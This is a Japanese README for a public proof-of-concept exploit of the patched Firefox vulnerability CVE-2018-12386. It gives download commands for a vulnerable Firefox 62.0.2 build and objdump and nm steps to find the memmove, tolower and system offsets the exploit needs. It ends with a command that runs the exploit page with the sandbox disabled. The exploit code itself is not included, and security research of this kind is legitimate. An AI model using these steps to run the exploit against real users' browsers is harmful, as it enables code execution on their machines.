
これは、Niklas Baumstark、Samuel Groß、Bruno Keith によって発見された脆弱性 CVE-2018-12386 のシンプルなエクスプロイトです。
これはほとんどが娯楽目的で作成した PoC であり、サンドボックス回避はなく、エクスプロイトで使用されるオフセットが既知の特定の Linux 環境でのみ動作します(オフセットは exploit/offsets.js で変更できます)。
このエクスプロイトは、Firefox 62.0.3 以前および Firefox ESR 60.2.2 以前のバージョンで動作します。
過去の Firefox リリースは Mozilla の FTP サーバーから直接ダウンロードできます:https://ftp.mozilla.org/pub/firefox/releases/
例えば、64ビット Linux 用の 62.0.2 バージョンを使用できます:https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2。
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soFirefox 62.0.2 を使用している場合、exploit/offsets.js で提供されているオフセットが正しいはずです。
他のバージョンの場合、簡単な方法は addrof プリミティブを使用して JavaScript 関数 Math.max のアドレスを漏洩させ、次に現在エクスプロイト対象の Firefox インスタンスの libxul.so のベースアドレスを(例えば cat /proc/$(pidof firefox)/maps で)取得し、その差を引いて libxul_math_max オフセットを求めることです。
Firefox 62.0.2 を使用している場合、exploit/offsets.js で提供されているオフセットが正しいはずです。
他のバージョンでは、objdump を使用するのが簡単な方法です。
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 と 5c0d968 が必要な値、つまり libxul.so 内の memmove と tolower のオフセットです。
libc.so.6 のオフセットこれらのオフセットは、使用している libc のバージョンに完全に依存します。
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
Firefox と正しいオフセットを用意したら、以下のコマンドを実行してエクスプロイトをテストできます:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

ご連絡はこちらまで:@lyte__